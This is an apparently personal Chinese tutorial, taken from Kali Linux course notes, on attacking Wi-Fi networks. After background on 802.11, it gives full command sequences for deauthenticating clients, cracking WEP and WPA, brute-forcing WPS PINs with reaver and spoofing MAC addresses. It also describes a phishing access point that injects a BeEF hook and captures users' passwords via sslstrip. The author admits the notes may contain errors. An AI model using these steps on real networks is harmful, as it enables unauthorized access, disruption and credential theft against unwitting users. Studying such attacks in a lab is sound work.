无线攻击

旧文迁移,wifi破解相关,内容比较乱,可能还有错误,以后用到再改吧。

无线基础


802.11标准

IEEE 802是LAN和MAN标准,其中802.11位无线局域网WLAN:

在此协议中,802.11只是指定了数据链路层和物理层:

他有很多子标准,以小写命名的是在原标准后做出修改形成的,是非正式的“标准”:



而日常最常用的是下面这些,如802.11b即WiFi,还有802.11 ac。。

原始的802.11版本:

改进后的802.11b:
速度提升,确定频宽,制定信道


802.11a:

802.11g:

802.11n:

无线网络运行模式

Infrastructure(基础架构集)

最常见的那种,由AP维护SSID,并在默认情况下以每秒约10次的频率通过beacon向空间广播SSID,客户端连接后也会以一定频率向外宣告已连接的SSID。一个AP与多个STA形成一个Basic service Set(BSS),AP连接到有线网络形成Distribution System(DS),多个BSS连在一起组成一个Extend service Set(ESS),每个AP的MAC地址为BSSID,它们拥有一样的ESSID(即通常所说的WiFi名)

AP和AP之间也可以使用无线的方式通信(WDS),它分为两种情况,Bridging(桥接)与Repeating(中继),区别在于桥接信号需要通过连接到的AP转发到另一个AP而中继直接发送到另一个AP。

AD-HOC(Independent Basic service Set (IBSS))

像快传这样,由至少两个STAs直接组成,其中一个负责AP的工作

MONITOR MODE

并非真的无线模式,为苑老师硬扯出来的(笑cry),就是混杂模式,允许无线网卡没有任何筛选的抓包(可以抓取到802.11包头)。

无线网硬件相关

挑选网卡:




我自己在最开始挑选无线网卡时也很懵逼,最后才发现最初的无线网卡就能用,不同软件对网卡的支持能力是不同的,最好的方式是去官网或者去论坛问问大家使用的网卡,注意主要看网卡的芯片而不是网卡本身的型号,那才是最重要滴!

信号强度

分贝dB:测量无线信号强度,它表明两个信号之间的差异比率,是一个相对值
dBm:功率值与1mW进行比较的dB值结果

天线:

全向天线:


这里horizontal是俯视图,vertical是水平视图:

定向天线:




这种在移动通讯中使用较多,图中记了2.45Ghz和5.5Ghz两种频率:


无线协议栈

Linux最初在使用IEEE80211(iwconfig/iwlist)现在常用的是mac80211(iw)

常用命令:

1
dmesg -T 		#查看硬件变化

1
ifconfig -a 		#查看网卡信息

1
iwconfig 			#查看网卡无线信息

1
iw list			#查看网卡详细信息



1
iw dev wlan0 scan				#扫描周围AP


1
iw dev wlan0 interface add mon0 type monitor			#将网卡置为混杂模式

1
2
service network-manager stop				#若上面的操作出错,可尝试先停止此服务
iw dev mon0 interface del #删除刚才添加的网卡


现在抓的包就是802.11的包了:

附:
协议栈:https://www.kernel.org/doc/htmldocs/80211/index.html
无线驱动:http://linuxwireless.org/en/users/Drivers/

网卡选择


常规测试

1:关闭可能干扰的软件:

1
airmon-ng check kill


检查到wpa_supplicant会影响到套件就自动关闭了他。
2:开启监听模式:

1
airmon-ng start wlan1


可以见到他是成功的识别出了网卡的芯片,驱动,然后开启了监听模式,名字改为了wlan1mon关闭了普通的模式。
3:当只有一张无线网卡时的测试:

1
aireplay-ng -9 wlan1mon


他会搜索附近的AP进行注入,29/30表示注入30个成功29个,证明是可以注入的!
4:当有两张无线网卡时的测试:

1
aireplay-ng -9 -i wlan0mon wlan1mon


可以看到,是先进行基本的测试,再进行card to card测试,证明了每种注入都是支持的!

其他测试

使用

1
aireplay-ng -9 -e teddy -a 00:de:ad:ca:fe:00 -i wlan1 wlan0

在这里:

-9 意味着注入测试,全写是 –test.
-e ‘teddy’ 是AP名称 (SSID). 这是可选的
-a 00:de:ad:ca:fe:00 ath0 是AP的mac地址 (BSSID). 这是可选的
-i wlan1是你的第二张网卡名称如果你想知道你的第二张卡是否支持。他扮演的角色是作为一个AP并且接收数据包。这是可选的。
wlan0是设备名称或者是airserv-ng IP地址加端口号。他被用来发送数据包。For example - 127.0.0.1:666.

重要的: 你必须在做任何测试之前用airmon-ng去将网卡设置为监听模式。举个栗子
基础测试
基础测试测试你的网卡是否能成功注入。

1
aireplay-ng -9 wlan0

系统响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
16:29:41  wlan0 channel: 9
16:29:41 Trying broadcast probe requests...
16:29:41 Injection is working!
16:29:42 Found 5 APs

16:29:42 Trying directed probe requests...
16:29:42 00:09:5B:5C:CD:2A - channel: 11 - 'NETGEAR'
16:29:48 0/30: 0%
16:29:48 00:14:BF:A8:65:AC - channel: 9 - 'title'
16:29:54 0/30: 0%
16:29:54 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
16:29:55 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
16:29:55 27/30: 90%
16:29:55 00:C0:49:E2:C4:39 - channel: 11 - 'mossy'
16:30:01 0/30: 0%
16:30:01 00:0F:66:C3:14:4E - channel: 9 - 'tupper'
16:30:07 0/30: 0%

分析结果:

16:29:41 wlan0 channel: 9: 显示wlan0在哪个信道上运行
16:29:41 Injection is working!:这确认你的卡能注入!
16:29:42 Found 5 APs:周围有5个AP响应了请求。
16:29:42 00:09:5B:5C:CD:2A - channel: 11 - 'NETGEAR':注意到NETGEAR这个AP的信道是11而非我们网卡设置的9,如果要攻击就要把我们网卡的信道设置成11.
16:29:55 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms:显示ping的速度。
16:29:55 27/30: 90% for teddy: 这是你的网卡和AP的交互情况,这也能进一步证明你的网卡可以注入。

隐藏的或者是特别的AP
用这条命令检查:

1
aireplay-ng --test -e teddy -a 00:14:6C:7E:40:80 ath0

响应:

1
2
3
4
5
6
7
8
9
11:01:06  ath0 channel: 9
11:01:06 Trying broadcast probe requests...
11:01:06 Injection is working!
11:01:07 Found 1 APs

11:01:07 Trying directed probe requests...
11:01:07 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
11:01:07 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
11:01:07 30/30: 100%

分析:成功了
攻击测试
这需要两张卡来监听,-i的卡是扮演AP的角色
运行如下指令:

1
aireplay-ng -9 -i wlan1 wlan0

在这里:

-9 是测试
-i wlan1 是AP设备并且接收数据包的
wlan0 是注入设备

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
11:06:05  wlan0 channel: 9, wlan1 channel: 9
11:06:05 Trying broadcast probe requests...
11:06:05 Injection is working!
11:06:05 Found 1 APs

11:06:05 Trying directed probe requests...
11:06:05 00:de:ad:ca:fe:00 - channel: 9 - 'teddy'
11:06:05 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
11:06:07 26/30: 87%

11:06:07 Trying card-to-card injection...
11:06:07 Attack -0: OK
11:06:07 Attack -1 (open): OK
11:06:07 Attack -1 (psk): OK
11:06:07 Attack -2/-3/-4: OK
11:06:07 Attack -5: OK

分析:

11:06:05 wlan0 channel: 9, wlan1 channel: 9: 他很重要,wlan0和wlan1要在同一信道
前面的输出和上一条命令是一样的意思
最后部分表明wlan0可以成功地进行所有类型的攻击
如果你在attack -5处得到一个failure,如果注入的mac于现在的mac想匹配,他将任然可以运行。如果不一样在一些设备他会失败。

airserv-ng 测试
运行airserv-ng:

1
airserv-ng -d wlan0

响应:

1
2
3
4
Opening card wlan0
Setting chan 1
Opening sock port 666
serving wlan0 chan 1 on port 666

运行下面这条命令:

1
aireplay-ng -9 127.0.0.1:666

在这里:

-9 注入测试
127.0.0.1:666 时airserv-ng的IP地址和端口,不一定是本地会还端口,可以是任意的地址。

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
14:57:23  Testing connection to injection device 127.0.0.1:666
14:57:23 TCP connection successful
14:57:23 airserv-ng found
14:57:23 ping 127.0.0.1:666 (min/avg/max): 0.310ms/0.358ms/0.621ms

Connecting to 127.0.0.1 port 666...
Connection successful

14:57:24 127.0.0.1:666 channel: 9
14:57:24 Trying broadcast probe requests...
14:57:24 Injection is working!
14:57:25 Found 1 AP

14:57:25 Trying directed probe requests...
14:57:25 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
14:57:26 Ping (min/avg/max): 1.907ms/38.308ms/39.826ms
14:57:26 30/30: 100%

分析:
Connection successful: 连接成功
后面的输出和前面命令意思一样

故障解决

一般的:

确保使用了正确的设备名,什么mon0,wlan0,at0等,还有多张网卡wlan1,wlan2等不要写错。
确保和目标用的信道一样,否者会失败,可用iwconfig查看。
确保你的网卡没有进行其他的工作,普遍错误是airdump-ng运行在信道忙碌的模式,所以用这个命令一定要用参数-c <信道>,也要保证其他的管理软件或同类软件关闭。

“Network is down” 的错误信息:
如果你在使用Atheros-based和这个madwifi-ng 设备时出现:

1
2
3
4
5
6
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 -B ath0
Interface ath0 -> driver: Madwifi-NG
12:36:30 ath0 channel: 10
12:36:30 Trying broadcast probe requests...
write failed: Network is down
wi_write(): Network is down

这里存在一些还未修复的问题,因此,你可以直接去掉-B参数
airodump-ng 显示 APs 但是都不回应:
可能是AP设备拒绝回应你的请求或者是距离过远了。
这时可以针对所有的信道或是特殊的AP进行探测

破解原理


无线网络中信号不会定向的传给每个设备,就是说AP发射的信号每个网卡都能够接收到,但是在正常情况下只有是自己的数据包才会接受,但是如果我们改一下网卡的模式,就能够让它接收周围所有的无线数据包,所以,没有加密的无线是毫无安全性可言的,因为任何在范围内的设备都能获取到包的内容,如果使用加密的无线,即使获取到也只是加密后的数据。
然后现在连无线大致就是两种:

(1)    客户端:我是自己人,要连接你
服务端:好的,那你连吧|骗我呢,不准连

(2)    客户端:我是自己人,要连接你
服务端:我不信,自己人都有密码,你把密码发给我看看
客户端:好吧,密码是12345678
黑客:得到密码啦
可能么?在认证时候是信息都是明文传输的,如果直接传密码都能够得到,其实是
客户端:我是自己人,要连接你
服务端:我不信,自己人都有密码,你用密码把45212345这个给我加密了
客户端:好的,加密后的密文是453154312
服务端:用密码解密后,还是45212345就允许连接,否则不允许

然后现在的加密就是WEP,WPA,WPA2等等,下面分别介绍:

  1. WEP,它使用RC4加密,加密数据用的密码是“WiFi的密码+iv”,iv是随机生成的,对方不知道,所以需要通过明文发送,因为iv只有200多种,而加密用的iv可以直接读到,所以如果收到的大量的数据包就会有使用了重复iv的数据包(大于254就绝对会有重复的),那么用那两个加密的数据包去异或就会得到明文的异或。。。最终就能得到密码,所以WEP加密绝对能够被破解。
  2. WPA,就是针对WEP缺点的改进。使用了更加好的加密算法,iv的取值也变成很多,很难得到重复的,加密数据的密码是“WiFi密码+WiFi名字+其他”,他只能用暴力破解,而且不能跑彩虹表(因为这里面有WiFi名称这个元素),如果你确定目标永远不会改WiFi名称,其实也是可以自己根据名称生成彩虹表来跑的。它有两种,要么使用认证服务器(安全性高,企业用)要么使用预共享秘钥(安全性相对较低,家庭等使用),我们一般也是使用psk这种。
  3. WPA2,就是wpa的升级版,加密算法使用了更好的。
  4. WPS,应该是配合前面的加密吧。为了解决前面使用认证复杂而产生的。分两种验证方式,要么使用pin码,就是自己的客户端生成一个pin码,在路由器端输入这个pin码就可以完成认证,还有就是使用按钮,例如手机上点一下那个按钮,然后在路由器上也按一下,就能完成认证。不过它的pin码设计上有缺陷,只要尝试1万多次就能得到,然后通过pin能得到WiFi密码。

现在来看看抓包的样子:
开启网卡的混杂模式(监听模式)后抓包

看到抓到的包都是802.11协议的包,这是因为周围的无线都是加密的,我开了个没加密的,就可以看到协议变了,也能够看到内容了

如果是wep,wpa/psk加密,如果有密码还可以直接使用它解包看内容

WEP


真的好不容易,才能在一大片的路由中找到一个支持WEP的。在这里,首先感谢书大仙,新大娘提供设备【虽然也不支持】,然后感谢刚小胖“同志”,终于把这个实验做好了。

好吧,不说废话了,因为WEP加密本身的缺陷,WEP加密很好破解,而且算是一定能破解吧。
1:关闭干扰服务进程

1
2
service network-manager stop
airmon-ng check kill


2:打开监听模式

1
airmon-ng start wlan0


3:查看周围设备

1
airodump-ng wlan0mon



看到还没有抓到任何密钥流,有一个使用了WEP加密的,信道是2
4:针对特定的AP【这个窗口一直打开】

1
airodump-ng wlan0mon --bssid AP_Mac  -c [AP_channel]  -w  [result_file]


只监听这一个AP,并把结果保存为wep*命名的文件

5:对某个已连接的客户端实施断开链接攻击, 直到抓到密钥流

1
aireplay-ng -0 2 -a [AP_Mac] -c [Client_Mac] wlan0mon


-0表示deauth攻击,可使以连上的客户端断开连接,后面的2代表2次

这时就是抓到了密钥流了。此时会在结果目录下生成一个*.xor的文件

6:通过它与AP建立关联关系[此时还不能上网]

1
aireplay-ng -1 60 -e [essid] -y wep*.xor -a [AP_Mac] -h [Wlan0mon_Mac] wlan0mon

高清无码。这张图里面有点问题,不要在意这些细节。。。。只是后面的ARP重放失效了,懒得再试了。这里本机的mac地址改为监听模式后会变长,取前六组即可

8:不爽,再来一次断网攻击,抓一些ARP包【同上】
7:开始ARP重放攻击

1
aireplay-ng -3 -b [AP_mac] -h [wlan0mon-mac] wlan0mon


这里会从抓到的包里找ARP请求,然后重放,来增加data值,这个越多越好【在airodump-ng里面看】

9:感觉够了就可以破解了

1
aircrack-ng wep*.cap

WPA


思路步骤:通过抓取握手包破解的密码,就要监听网络中的握手包,握手包只会在客户端连接AP时才会产生,于是可以主动让客户端断开连接,他就会自动连接,这样就能够抓到握手包。
重要的因素:字典!因为这是猜密码破解,所以密码字典里面有没有真实的密码决定了能不能成功破解。
开始了
1:关闭network管理服务

1
service network-manager stop

2:检查并关闭有干扰的软件

1
airmon-ng check kill


3:开启监听模式

1
airmon-ng start wlan1


4:先查看周围的网络情况,并得到目标的情况

1
airodump-ng wlan1mon


第一排那里有个箭头指向空,说明还没有抓到握手包
BSSID指AP的mac pwr是信号强度,越接近0越强,ch是信道,essid的AP的名字,station是客户端的mac,enc是加密类型
5:开始针对目标实施监听

1
airodump-ng wlan1mon --bssid 【AP的mac】 -c 4 -w  wpa

[wpa是指保存的抓包文件名,随便取]

这是针对一个AP的探测,目前还没有握手包
6:对目标实施断开链接攻击

1
aireplay-ng -0 2 -a 【AP的mac】 -c 【已经连到那个AP的客户端mac】 wlan1mon


这里进行了两次deauth*攻击,使客户端与ap断开连接

这里看到客户端立即重连,就抓到了握手包
7:破解密码

1
aircrack -w 【字典文件】 【抓到的包文件】


跑密码中,一个13M的密码,这么久都没有出来,速度太慢了,所以一般都不是自己破解密码吧。

才13M的密码跑了30分钟还没完,然后手不小心按错了,只能重来,,,

这是效果图。。。

WPS


因为WPS本身存在缺陷,它共8位,但是第八位可由前七位决定,就是之破解七位,还可以先破解前4位,再破解第5,6,7位所以有1万多种可能,如果没有尝试次数限制可以很快破解出来但是现在很多都有限制,如果在一定时间内错误次数过多会被锁住,只有重启才会解锁,所以需要限制速度。
综上,如果有WPS的路由器且使用了WPA加密,在使用简单的字典不能破解后,最好直接破解PIN码,因为它能在能过接受的时间(两三天)内破解出密码
现在开始:
同样,先停掉系统自带服务,以免影响

1
service network-manager stop

检查杀死影响的进程

1
airmon-ng check kill

开启监听模式

1
airmon-ng start wlan0

扫描周围支持WPS的热点

1
wash -C -i wlan0mon


如图,看到对方的mac地址,信道,wps版本,是否已经被锁定,热点名称
现在开始破解

1
reaver -i wlan0mon -b F0:B4:29:81:DA:31 -vv -K 1 -c 10

这个就是使用wlan0mon这张卡,-b接目标mac地址,-vv就是详细信息 –K 1是先用一种特别的攻击,这种攻击针对一些固件本身存在的漏洞,-c 10就是对方路由器的信道

得到pin码以后,就用下面这条命令获得密码。

1
reaver -i wlan0mon -b <AP MAC> -vv -p <pin>

(也可以使用airodump-ng命令搜索周围热点)

MAC绑定


连接到没有设置密码,只是设置了绑定mac地址的无线(如图)

很多人认为mac地址独一无二,绑定了mac地址别人就不能连接了,其实mac地址可以伪造的。
将网卡设置为监听模式:

1
2
3
service network-manager stop
airmon-ng checkstop
airmon-ng start wlan0

通过抓包看看有哪些设备连上了那个无线

1
airodump-ng wlan0mon

停用网卡

1
2
airmon-ng stop wlan0mon
ifconfig wlan0 down

改网卡的mac地址

1
2
ifconfig –a	查看网卡交什么名字,不出意外还是叫那个
macchanger –m [一连上的设备的mac地址] wlan0

重新开启监听模式

1
airmon-ng start wlan0

这时就可以直接连接了,不过因为是两台地址一样的设备连接,所以会有丢包等现象,可以等待对方没用时自己再去使用,不过这不是目的,我们连好后可以进入后台,将自己的mac地址添加到路由器

钓鱼WiFi


WiFi-pumpkin

邪恶双子星,逼格很高的名字,通俗的说就是钓鱼WiFi。配置方法超级多,今天说下最简单的之一吧。装备就是要两张网卡,虚拟机可以虚拟一张,无线网卡需要自配。
安装方法,输入以下命令

1
2
3
4
git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git
cd WiFi-Pumpkin
chmod +x installer.sh
./installer.sh –install

安装完可以直接在任何地方输入wifi-pumpkin打开软件,不过建议进入安装目录打开,否则可能回出现一些问题
正题:
1:打开软件

2:介绍下页面

打开是主页,access point里面的网关是连接互联网的网关,一般只要连接上Internet就会自动识别。Ap name填上伪造AP的名字。Channel随便,可以和伪造的信道相同。Network adapter 就是选择发射信号的无线网卡。下面有个插头代表插件,默认是选中的,可以手动禁用,右边那个点是网页钓鱼服务,需要可以配置,开启,后面说。配置好以后点击start AP就开启了钓鱼WiFi,下面会显示已经连接的设备信息

这里可以往返回的数据里面注入代码,包括HTML,js,css等等。方法就是,点击browser选中要注入的内容,点击enable即可生效,下面会有注入日志。

这就是对AP的一些设置了,包括DHCP服务的时间,网段,广播掩码等等。

这记录一些链接过的设备

就是几个监视器,主要用第二个监视表单密码吧。

工具ettercap都懂得,不过主要用driftnet监视数据中的图片吧。

这些模块,都是单独拿去用的,看名字就知道用途了。。。

这是setting里面的内容,可以改发射信号的软件,断网的软件,扫描的软件等等,高级里面设置AP的iptables就是Linux里面那个,在这里管流量转发,hostpad里面可以设置加密AP。
介绍完了,用法之一就是这样

先设置了js注入,注入的是beef的hook

名字改的具有迷惑性就可以开始了

已经搜到了,这里只是信道不同,可以调的一样,然后连接

这里可以看到已经有设备连接了
打开monitor netcreds和driftnet

可以看见截获账号密码还有图片那些【它默认开启了sslstript,即使使用了安全套接层的也可以截获】

easy-creds

1:安装easy-creds(下载)
解压缩到目录

执行./installer.sh

选择操作系统
安装过程中的错误提示可以手动解决

复制命令到新窗口运行


自动脚本安装,直到出现如下字样说明安装完成
2:打开它
在安装目录执行
./ easy-creds.sh


更改配置文件,升级aircrack-ng等

3:使用

选择虚假ap

选择静态的

2:选择连接互联网的网卡
3:选择发射无线信号的网卡
4:选择无线的信道

1:选择监听设备
2:是否改变网卡的mac地址
4:设置无线的网段
5:设置DNS服务器的地址
4:查看

其他工具


wifite

1:打开软件

2:自动搜索周围无线

他会一直扫描下去,需手动按crtl+C停止扫描
3:选择破解的目标

会按信号强度排序,需要破解哪一个就输入它的编号即可,破解所有输入all
4:开始破解

会在8分20秒内不停的发送数据,强制让客户端与热点断开,然后客户端会自动重新连接,这时就可以捕获握手包(就是一个含有验证密码哈希的文件),在监听到握手包后自动破解密码。

fern

这个kali自带

打开先选择网卡,然后去扫描,扫描后可以看到wep和wpa加密热点的分布情况,点击相应的图表即可进入

选择相应的可以看到详细信息,可以选择字典文件,然后开始攻击
(必须吐槽,默认字体反人类,可以在工具里面设置,里面还有一些常用的有用的设置,需要自己探索)

来源


安全牛课堂-kali-linux